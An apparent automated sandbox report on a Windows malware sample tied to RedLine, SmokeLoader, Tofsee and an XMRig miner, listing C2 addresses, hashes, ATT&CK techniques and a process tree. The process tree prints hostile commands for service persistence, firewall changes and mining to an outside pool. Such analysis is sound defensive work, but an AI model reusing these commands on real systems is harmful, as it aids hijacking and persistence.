Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-1703_x64
  • resource
    win10-20220901-en
  • resource tags

    arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23-09-2022 01:26

General

  • Target

    35fc6d1e464799851b89408a05bbf195ab4e93a8e6d7fcd54ba00020083893c9.exe

  • Size

    280KB

  • MD5

    7f483f7d3bb6769ea58c86abcb15ee25

  • SHA1

    387f3d795878ca61ae399f089347cd6eb9b4f813

  • SHA256

    35fc6d1e464799851b89408a05bbf195ab4e93a8e6d7fcd54ba00020083893c9

  • SHA512

    2a808f2f67fde593beaba0b33667996d2855150e0020215a46bd6a2f6f359303f694fea60f62446aa6de8f4b8a25550f09bd478d116d6e9805499a13759efb5b

  • SSDEEP

    6144:Vf+ChsoLyOwwDOkVQKy8mutONIUiB0mwfIigavwVf:Vf+gxuOwwD/PP1tg1fmi1

Malware Config

Extracted

Family

redline

Botnet

LogsDiller Cloud (Sup: @mr_golds)

C2

77.73.134.27:8163

Attributes
  • auth_value

    56c6f7b9024c076f0a96931453da7e56

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Detects Smokeloader packer 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 7 IoCs
  • Modifies Windows Firewall 1 TTPs 2 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 39 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\35fc6d1e464799851b89408a05bbf195ab4e93a8e6d7fcd54ba00020083893c9.exe
    "C:\Users\Admin\AppData\Local\Temp\35fc6d1e464799851b89408a05bbf195ab4e93a8e6d7fcd54ba00020083893c9.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:1312
  • C:\Users\Admin\AppData\Local\Temp\26B2.exe
    C:\Users\Admin\AppData\Local\Temp\26B2.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2348
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:75684
  • C:\Users\Admin\AppData\Local\Temp\2AAB.exe
    C:\Users\Admin\AppData\Local\Temp\2AAB.exe
    1⤵
    • Executes dropped EXE
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4344
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pdvqzmlm\
      2⤵
        PID:4092
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\izoaqsoh.exe" C:\Windows\SysWOW64\pdvqzmlm\
        2⤵
          PID:5284
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pdvqzmlm binPath= "C:\Windows\SysWOW64\pdvqzmlm\izoaqsoh.exe /d\"C:\Users\Admin\AppData\Local\Temp\2AAB.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5460
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pdvqzmlm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:5680
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pdvqzmlm
          2⤵
          • Launches sc.exe
          PID:5856
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:6020
        • C:\Users\Admin\zhnafibw.exe
          "C:\Users\Admin\zhnafibw.exe" /d"C:\Users\Admin\AppData\Local\Temp\2AAB.exe"
          2⤵
          • Executes dropped EXE
          PID:6128
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rmwsgrw.exe" C:\Windows\SysWOW64\pdvqzmlm\
            3⤵
              PID:8012
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" config pdvqzmlm binPath= "C:\Windows\SysWOW64\pdvqzmlm\rmwsgrw.exe /d\"C:\Users\Admin\zhnafibw.exe\""
              3⤵
              • Launches sc.exe
              PID:8176
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start pdvqzmlm
              3⤵
              • Launches sc.exe
              PID:8340
            • C:\Windows\SysWOW64\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
              3⤵
              • Modifies Windows Firewall
              PID:8488
        • C:\Users\Admin\AppData\Local\Temp\2E17.exe
          C:\Users\Admin\AppData\Local\Temp\2E17.exe
          1⤵
          • Executes dropped EXE
          PID:9336
        • C:\Users\Admin\AppData\Local\Temp\3F8C.exe
          C:\Users\Admin\AppData\Local\Temp\3F8C.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:56860
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANgA4AA==
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5348
        • C:\Users\Admin\AppData\Local\Temp\4AC8.exe
          C:\Users\Admin\AppData\Local\Temp\4AC8.exe
          1⤵
          • Executes dropped EXE
          PID:4280
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe
          1⤵
            PID:4872
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            1⤵
              PID:4800
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              1⤵
                PID:808
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:4380
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                    PID:4388
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                      PID:4480
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:4408
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe
                        1⤵
                          PID:308
                        • C:\Windows\SysWOW64\explorer.exe
                          C:\Windows\SysWOW64\explorer.exe
                          1⤵
                            PID:224
                          • C:\Windows\SysWOW64\pdvqzmlm\rmwsgrw.exe
                            C:\Windows\SysWOW64\pdvqzmlm\rmwsgrw.exe /d"C:\Users\Admin\zhnafibw.exe"
                            1⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            PID:8680
                            • C:\Windows\SysWOW64\svchost.exe
                              svchost.exe
                              2⤵
                              • Sets service image path in registry
                              • Drops file in System32 directory
                              • Suspicious use of SetThreadContext
                              • Modifies data under HKEY_USERS
                              PID:9888
                              • C:\Windows\SysWOW64\svchost.exe
                                svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:10780

                          Network

                          MITRE ATT&CK Matrix ATT&CK v6

                          Persistence

                          New Service

                          1
                          T1050

                          Modify Existing Service

                          1
                          T1031

                          Registry Run Keys / Startup Folder

                          2
                          T1060

                          Privilege Escalation

                          New Service

                          1
                          T1050

                          Defense Evasion

                          Modify Registry

                          2
                          T1112

                          Credential Access

                          Credentials in Files

                          1
                          T1081

                          Discovery

                          System Information Discovery

                          2
                          T1082

                          Query Registry

                          1
                          T1012

                          Peripheral Device Discovery

                          1
                          T1120

                          Collection

                          Data from Local System

                          1
                          T1005

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\Users\Admin\AppData\Local\Temp\26B2.exe
                            Filesize

                            2.6MB

                            MD5

                            d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

                            SHA1

                            ed7413773b7c9154c9aeed9d173f61577522e0db

                            SHA256

                            576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

                            SHA512

                            858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

                          • C:\Users\Admin\AppData\Local\Temp\26B2.exe
                            Filesize

                            2.6MB

                            MD5

                            d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

                            SHA1

                            ed7413773b7c9154c9aeed9d173f61577522e0db

                            SHA256

                            576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

                            SHA512

                            858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

                          • C:\Users\Admin\AppData\Local\Temp\2AAB.exe
                            Filesize

                            281KB

                            MD5

                            1ac54b2374600bcc4a685b9263c79535

                            SHA1

                            0b9d0fe873375f057ca4ffb0975a8a66323eb716

                            SHA256

                            c9e1fe655cf77f993bcc00f5a2fdcfab533c104b471df5da8211404338ab3c90

                            SHA512

                            8fb1ad23dcc343b737595956dd6fa1db5237eb6757bda276371a66bfe0f5a29c129ae5b4e2c78aff1eb580e521e91742fe3b06a0b536ea073cd8ec3a9d98a3ad

                          • C:\Users\Admin\AppData\Local\Temp\2AAB.exe
                            Filesize

                            281KB

                            MD5

                            1ac54b2374600bcc4a685b9263c79535

                            SHA1

                            0b9d0fe873375f057ca4ffb0975a8a66323eb716

                            SHA256

                            c9e1fe655cf77f993bcc00f5a2fdcfab533c104b471df5da8211404338ab3c90

                            SHA512

                            8fb1ad23dcc343b737595956dd6fa1db5237eb6757bda276371a66bfe0f5a29c129ae5b4e2c78aff1eb580e521e91742fe3b06a0b536ea073cd8ec3a9d98a3ad

                          • C:\Users\Admin\AppData\Local\Temp\2E17.exe
                            Filesize

                            395KB

                            MD5

                            a864c7dcd49506486eb4a15632a34c03

                            SHA1

                            6f247530bd632cb53cdc0b7a8c466e2144c16d84

                            SHA256

                            dc69e3a17aba90423107dc5915e8a32e76d92aca74323131b36cf9fb144ecdbf

                            SHA512

                            71ea6c60927c29d24a5cb992490e0b71b2c5355b01b4de739a44b4fed2b2315eb6b5081ee44c65b71b08f9c5e0d6591b9b6b7e136cb31a47581420bbe92b7a72

                          • C:\Users\Admin\AppData\Local\Temp\2E17.exe
                            Filesize

                            395KB

                            MD5

                            a864c7dcd49506486eb4a15632a34c03

                            SHA1

                            6f247530bd632cb53cdc0b7a8c466e2144c16d84

                            SHA256

                            dc69e3a17aba90423107dc5915e8a32e76d92aca74323131b36cf9fb144ecdbf

                            SHA512

                            71ea6c60927c29d24a5cb992490e0b71b2c5355b01b4de739a44b4fed2b2315eb6b5081ee44c65b71b08f9c5e0d6591b9b6b7e136cb31a47581420bbe92b7a72

                          • C:\Users\Admin\AppData\Local\Temp\3F8C.exe
                            Filesize

                            1.1MB

                            MD5

                            ff97413fadad115998666fd129ccb86d

                            SHA1

                            152ca9dd31bf0c84f435154727186c8dca441f00

                            SHA256

                            6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                            SHA512

                            2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                          • C:\Users\Admin\AppData\Local\Temp\3F8C.exe
                            Filesize

                            1.1MB

                            MD5

                            ff97413fadad115998666fd129ccb86d

                            SHA1

                            152ca9dd31bf0c84f435154727186c8dca441f00

                            SHA256

                            6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                            SHA512

                            2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                          • C:\Users\Admin\AppData\Local\Temp\4AC8.exe
                            Filesize

                            2.7MB

                            MD5

                            c0265881059ec2ecf23befda6fb64f9b

                            SHA1

                            8b7d0cd04f91bec9d379817c3adf0ddd81b7c544

                            SHA256

                            4b774adffc396f00368571a37a58c420ee4b9515c1440e32de91fb1a018acb4b

                            SHA512

                            0886c03d4c406eaffc0f60fa04a7e89c3d84feeb969148efc3738200cfec889d0b09cfe1248dfbe064a9472b03726d8ae24b647bf37047758bf06682b5effd57

                          • C:\Users\Admin\AppData\Local\Temp\4AC8.exe
                            Filesize

                            2.7MB

                            MD5

                            c0265881059ec2ecf23befda6fb64f9b

                            SHA1

                            8b7d0cd04f91bec9d379817c3adf0ddd81b7c544

                            SHA256

                            4b774adffc396f00368571a37a58c420ee4b9515c1440e32de91fb1a018acb4b

                            SHA512

                            0886c03d4c406eaffc0f60fa04a7e89c3d84feeb969148efc3738200cfec889d0b09cfe1248dfbe064a9472b03726d8ae24b647bf37047758bf06682b5effd57

                          • C:\Users\Admin\AppData\Local\Temp\rmwsgrw.exe
                            Filesize

                            13.3MB

                            MD5

                            ca7dfadcad73d2db466c07a6cf705387

                            SHA1

                            bfd31c20bff3c0874f0d9ac4a3dbe9b48fbdc0ea

                            SHA256

                            a2c98a2fd7874e269c866b93495c31c61882fefc2e5db1f6a0971e37480fee3c

                            SHA512

                            b63845139f9de98d6114af64422a91d6b1b779170fe6e8bb993a78c5aede91837573e662f01760e7f1118e52d9042ad9a18cd2e2d47023d9bd62bd3f5973a852

                          • C:\Users\Admin\zhnafibw.exe
                            Filesize

                            13.7MB

                            MD5

                            d0b244a7b5c66c0d516975aac2665dd2

                            SHA1

                            a2747c63d67135f98d848e68aec6e24e3d685793

                            SHA256

                            3008845e746b2710743b2168b548f95f4e7bf92eb9a231c7d7a174457a0e8522

                            SHA512

                            b6e3720c73cd19171082f467ed2ef8f04521c1e811933367f1f1e49a191df6dcc814ec9d45e72bfaa99951cca4d2bd2b6afa856141bfebe7839755737a7a2eb5

                          • C:\Users\Admin\zhnafibw.exe
                            Filesize

                            13.7MB

                            MD5

                            d0b244a7b5c66c0d516975aac2665dd2

                            SHA1

                            a2747c63d67135f98d848e68aec6e24e3d685793

                            SHA256

                            3008845e746b2710743b2168b548f95f4e7bf92eb9a231c7d7a174457a0e8522

                            SHA512

                            b6e3720c73cd19171082f467ed2ef8f04521c1e811933367f1f1e49a191df6dcc814ec9d45e72bfaa99951cca4d2bd2b6afa856141bfebe7839755737a7a2eb5

                          • C:\Windows\SysWOW64\pdvqzmlm\rmwsgrw.exe
                            Filesize

                            13.3MB

                            MD5

                            ca7dfadcad73d2db466c07a6cf705387

                            SHA1

                            bfd31c20bff3c0874f0d9ac4a3dbe9b48fbdc0ea

                            SHA256

                            a2c98a2fd7874e269c866b93495c31c61882fefc2e5db1f6a0971e37480fee3c

                            SHA512

                            b63845139f9de98d6114af64422a91d6b1b779170fe6e8bb993a78c5aede91837573e662f01760e7f1118e52d9042ad9a18cd2e2d47023d9bd62bd3f5973a852

                          • memory/224-1140-0x00000000008D0000-0x00000000008D8000-memory.dmp
                            Filesize

                            32KB

                          • memory/224-857-0x00000000008C0000-0x00000000008CB000-memory.dmp
                            Filesize

                            44KB

                          • memory/224-853-0x00000000008D0000-0x00000000008D8000-memory.dmp
                            Filesize

                            32KB

                          • memory/224-542-0x0000000000000000-mapping.dmp
                          • memory/308-979-0x0000000000E20000-0x0000000000E27000-memory.dmp
                            Filesize

                            28KB

                          • memory/308-552-0x0000000000E10000-0x0000000000E1D000-memory.dmp
                            Filesize

                            52KB

                          • memory/308-545-0x0000000000E20000-0x0000000000E27000-memory.dmp
                            Filesize

                            28KB

                          • memory/308-506-0x0000000000000000-mapping.dmp
                          • memory/808-345-0x0000000000000000-mapping.dmp
                          • memory/808-649-0x0000000000AF0000-0x0000000000AF9000-memory.dmp
                            Filesize

                            36KB

                          • memory/808-602-0x0000000000B00000-0x0000000000B05000-memory.dmp
                            Filesize

                            20KB

                          • memory/1312-147-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-137-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-148-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-150-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-149-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-151-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-152-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-153-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-154-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-155-0x0000000000450000-0x000000000059A000-memory.dmp
                            Filesize

                            1.3MB

                          • memory/1312-157-0x0000000000400000-0x000000000044B000-memory.dmp
                            Filesize

                            300KB

                          • memory/1312-156-0x00000000001E0000-0x00000000001E9000-memory.dmp
                            Filesize

                            36KB

                          • memory/1312-158-0x0000000000400000-0x000000000044B000-memory.dmp
                            Filesize

                            300KB

                          • memory/1312-144-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-121-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-122-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-123-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-124-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-125-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-126-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-120-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-146-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-127-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-128-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-143-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-142-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-129-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-130-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-131-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-132-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-133-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-134-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-141-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-139-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-140-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-138-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-135-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/1312-136-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/2348-167-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/2348-161-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/2348-162-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/2348-163-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/2348-159-0x0000000000000000-mapping.dmp
                          • memory/2348-164-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/2348-165-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/2348-166-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/2348-170-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4092-664-0x0000000000000000-mapping.dmp
                          • memory/4280-270-0x0000000000000000-mapping.dmp
                          • memory/4344-849-0x0000000000780000-0x0000000000793000-memory.dmp
                            Filesize

                            76KB

                          • memory/4344-190-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4344-854-0x0000000000400000-0x000000000044B000-memory.dmp
                            Filesize

                            300KB

                          • memory/4344-176-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4344-175-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4344-173-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4344-174-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4344-844-0x000000000083C000-0x000000000084D000-memory.dmp
                            Filesize

                            68KB

                          • memory/4344-168-0x0000000000000000-mapping.dmp
                          • memory/4344-186-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4344-178-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4344-172-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4344-184-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4344-494-0x000000000083C000-0x000000000084D000-memory.dmp
                            Filesize

                            68KB

                          • memory/4344-499-0x0000000000780000-0x0000000000793000-memory.dmp
                            Filesize

                            76KB

                          • memory/4344-196-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4344-188-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4344-181-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4344-596-0x0000000000400000-0x000000000044B000-memory.dmp
                            Filesize

                            300KB

                          • memory/4344-177-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4344-192-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4344-194-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/4380-399-0x0000000000DE0000-0x0000000000DEC000-memory.dmp
                            Filesize

                            48KB

                          • memory/4380-395-0x0000000000DF0000-0x0000000000DF6000-memory.dmp
                            Filesize

                            24KB

                          • memory/4380-379-0x0000000000000000-mapping.dmp
                          • memory/4380-848-0x0000000000DF0000-0x0000000000DF6000-memory.dmp
                            Filesize

                            24KB

                          • memory/4388-411-0x0000000000000000-mapping.dmp
                          • memory/4388-697-0x0000000000390000-0x00000000003B2000-memory.dmp
                            Filesize

                            136KB

                          • memory/4388-750-0x0000000000360000-0x0000000000387000-memory.dmp
                            Filesize

                            156KB

                          • memory/4408-1115-0x00000000006A0000-0x00000000006A6000-memory.dmp
                            Filesize

                            24KB

                          • memory/4408-467-0x0000000000000000-mapping.dmp
                          • memory/4408-805-0x0000000000690000-0x000000000069B000-memory.dmp
                            Filesize

                            44KB

                          • memory/4408-800-0x00000000006A0000-0x00000000006A6000-memory.dmp
                            Filesize

                            24KB

                          • memory/4480-755-0x0000000000A00000-0x0000000000A05000-memory.dmp
                            Filesize

                            20KB

                          • memory/4480-796-0x00000000009F0000-0x00000000009F9000-memory.dmp
                            Filesize

                            36KB

                          • memory/4480-438-0x0000000000000000-mapping.dmp
                          • memory/4480-1084-0x0000000000A00000-0x0000000000A05000-memory.dmp
                            Filesize

                            20KB

                          • memory/4800-329-0x0000000000A10000-0x0000000000A19000-memory.dmp
                            Filesize

                            36KB

                          • memory/4800-745-0x0000000000A10000-0x0000000000A19000-memory.dmp
                            Filesize

                            36KB

                          • memory/4800-332-0x0000000000A00000-0x0000000000A0F000-memory.dmp
                            Filesize

                            60KB

                          • memory/4800-316-0x0000000000000000-mapping.dmp
                          • memory/4872-538-0x0000000000A20000-0x0000000000A2B000-memory.dmp
                            Filesize

                            44KB

                          • memory/4872-486-0x0000000000A30000-0x0000000000A37000-memory.dmp
                            Filesize

                            28KB

                          • memory/4872-286-0x0000000000000000-mapping.dmp
                          • memory/5284-699-0x0000000000000000-mapping.dmp
                          • memory/5348-1088-0x0000000007CF0000-0x0000000007D66000-memory.dmp
                            Filesize

                            472KB

                          • memory/5348-710-0x0000000000000000-mapping.dmp
                          • memory/5348-907-0x0000000006570000-0x00000000065A6000-memory.dmp
                            Filesize

                            216KB

                          • memory/5348-1066-0x00000000073B0000-0x00000000073CC000-memory.dmp
                            Filesize

                            112KB

                          • memory/5348-1012-0x00000000073E0000-0x0000000007446000-memory.dmp
                            Filesize

                            408KB

                          • memory/5348-1176-0x0000000008B40000-0x0000000008B5A000-memory.dmp
                            Filesize

                            104KB

                          • memory/5348-1171-0x0000000009390000-0x0000000009A08000-memory.dmp
                            Filesize

                            6.5MB

                          • memory/5348-928-0x0000000006D40000-0x0000000007368000-memory.dmp
                            Filesize

                            6.2MB

                          • memory/5460-733-0x0000000000000000-mapping.dmp
                          • memory/5680-764-0x0000000000000000-mapping.dmp
                          • memory/5856-794-0x0000000000000000-mapping.dmp
                          • memory/6020-822-0x0000000000000000-mapping.dmp
                          • memory/6128-1169-0x00000000006DC000-0x00000000006ED000-memory.dmp
                            Filesize

                            68KB

                          • memory/6128-1173-0x0000000000570000-0x00000000006BA000-memory.dmp
                            Filesize

                            1.3MB

                          • memory/6128-1212-0x0000000000400000-0x000000000044B000-memory.dmp
                            Filesize

                            300KB

                          • memory/6128-836-0x0000000000000000-mapping.dmp
                          • memory/6128-1338-0x00000000006DC000-0x00000000006ED000-memory.dmp
                            Filesize

                            68KB

                          • memory/6128-1342-0x0000000000400000-0x000000000044B000-memory.dmp
                            Filesize

                            300KB

                          • memory/8012-1247-0x0000000000000000-mapping.dmp
                          • memory/8176-1278-0x0000000000000000-mapping.dmp
                          • memory/8340-1306-0x0000000000000000-mapping.dmp
                          • memory/8488-1333-0x0000000000000000-mapping.dmp
                          • memory/8680-1655-0x0000000000500000-0x000000000064A000-memory.dmp
                            Filesize

                            1.3MB

                          • memory/9336-185-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/9336-189-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/9336-193-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/9336-179-0x0000000000000000-mapping.dmp
                          • memory/9336-191-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/9336-197-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/9336-187-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

                            1.6MB

                          • memory/9336-183-0x0000000077D10000-0x0000000077E9E000-memory.dmp
                            Filesize

